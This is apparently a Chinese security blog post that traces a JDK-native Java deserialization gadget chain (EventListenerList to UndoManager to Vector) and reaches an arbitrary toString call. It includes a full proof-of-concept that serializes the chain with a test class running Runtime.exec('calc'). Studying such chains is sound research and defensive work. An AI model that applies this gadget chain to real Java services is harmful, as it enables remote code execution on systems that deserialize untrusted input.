EventListenerList触发任意toString

这是一条JDK原生toString链 readObject->toString

依赖:我这里用的是jdk8u66,链子的限制版本我还不是很清楚,希望各位师傅不吝赐教。


javax.swing.event.EventListenerList#readObject:

EventListenerList_readObject

可以看到这里我们需要找到能够强制转换为 EventListener 类型,并且实现 Serializable 接口的类。

这里找到的就是UndoManager类,它实现了UndoableEditListener接口。

UndoManager

而UndoableEditListener接口又继承了EventListener类。

UndoableEditListener

回来看UndoManager类也继承了CompoundEdit类,向上继承了AbstractUndoableEdit类,这个类继承了Serializable接口。

AbstractUndoableEdit


从readObject方法进入了add方法,第二个参数,l属性是UndoManager对象。
跟进add方法,可以看到,这里判断了传入的l对象是否是java.lang.Class类型,至于为什么是java.lang.Class ,在文章末尾会讲到。
那显然UndoManager对象不是java.lang.Class类型。所以这里就会进入到if语句里。

add

if里抛出了一个error,里面进行了字符串与对象的拼接,这里很明显就是隐式调用了UndoManager对象的toString方法了。

javax.swing.undo.UndoManager#toString

UndoManager#toString方法:这里的limit和indexOfNextAdd两个属性都是int,没有可以利用的地方,继续向上进入super.toString(),也就是CompoundEdit.toString()

UndoManager_toString

CompoundEdit.toString方法:这里inProgress属性是int,而edits属性却是Vector类的对象。

CompoundEdit_toString

CompoundEdit

那这里同样的进行了字符串与对象的拼接,会隐式调用Vector.toString方法。

java.util.Vector#toString

Vector_toString

继续跟进,到了AbstractCollection.toString

AbstractCollection_toString

这里新建了一个迭代器,把对象传递给StringBuilder.append方法,我们可以通过Vector.add方法把恶意类添加进去。

Vector_add

继续跟进StringBuilder.append方法,

StringBuilder_append

跟进valueOf方法

valueOf

到这里,就完成了任意toString方法调用了。


最后需要注意的是,在最开始的EventListenerList#writeObject中,我们需要让UndoManager对象被这样写入:s.writeObject(l);,而这里的listenerList属性是一个对象列表,在writeObject中进行了一个for循环,在列表里的第双数位才会被s.writeObject(l);这样写入,所以我们需要在UndoManager对象前面在加一个Class。

回到最开始的问题上,这里我的poc里填的是Class.class,其实只要不是UndoManager.class就行。

image

writeObject

写一个测试类:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
import java.io.IOException;
import java.io.Serializable;

public class User implements Serializable {
public String name;

public User(String name) {
this.name = name;
}

public String toString(){
try {
Runtime.getRuntime().exec("calc");
} catch (IOException e) {
throw new RuntimeException(e);
}
return "name: " + name;
}
}

poc:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
import javax.swing.event.EventListenerList;
import javax.swing.undo.UndoManager;
import java.io.*;
import java.lang.reflect.Field;
import java.util.Base64;
import java.util.Vector;

public class Main {
public static void main(String[] args) throws Exception {
User u = new User("Infernity");
EventListenerList eventListenerList = getEventListenerList(u);

String a = serialize(eventListenerList);
unserialize(a);
}


public static EventListenerList getEventListenerList(Object obj) throws Exception{
EventListenerList list = new EventListenerList();
UndoManager undomanager = new UndoManager();

//取出UndoManager类的父类CompoundEdit类的edits属性里的vector对象,并把需要触发toString的类add进去。
Vector vector = (Vector) getFieldValue(undomanager, "edits");
vector.add(obj);

setValue(list, "listenerList", new Object[]{Class.class, undomanager});
return list;
}
//反射改值
public static void setValue(Object obj, String name, Object value) throws Exception{
Field field = obj.getClass().getDeclaredField(name);
field.setAccessible(true);
field.set(obj, value);
}

//获取已实例化类中的值
public static Object getFieldValue(final Object obj, final String fieldName) throws Exception {
final Field field = getField(obj.getClass(), fieldName);
return field.get(obj);
}

public static Field getField( final Class<?> clazz, final String fieldName ) throws Exception {
try {
Field field = clazz.getDeclaredField(fieldName);
if (field != null)
field.setAccessible(true);
else if (clazz.getSuperclass() != null)
field = getField(clazz.getSuperclass(), fieldName);

return field;
} catch (NoSuchFieldException e) {
if (!clazz.getSuperclass().equals(Object.class)) {
return getField(clazz.getSuperclass(), fieldName);
}
throw e;
}
}

//提供需要序列化的类,返回base64后的字节码
public static String serialize(Object obj) throws IOException {
ByteArrayOutputStream byteArrayOutputStream = new ByteArrayOutputStream();
ObjectOutputStream objectOutputStream = new ObjectOutputStream(byteArrayOutputStream);
objectOutputStream.writeObject(obj);
String poc = Base64.getEncoder().encodeToString(byteArrayOutputStream.toByteArray());
return poc;
}

//提供base64后的字节码,进行反序列化
public static void unserialize(String exp) throws IOException,ClassNotFoundException{
byte[] bytes = Base64.getDecoder().decode(exp);
ByteArrayInputStream byteArrayInputStream = new ByteArrayInputStream(bytes);
ObjectInputStream objectInputStream = new ObjectInputStream(byteArrayInputStream);
objectInputStream.readObject();
}
}

calc


EventListenerList触发任意toString
http://example.com/2025/03/24/EventListenerList触发任意toString/
作者
Infernity
发布于
2025年3月24日
许可协议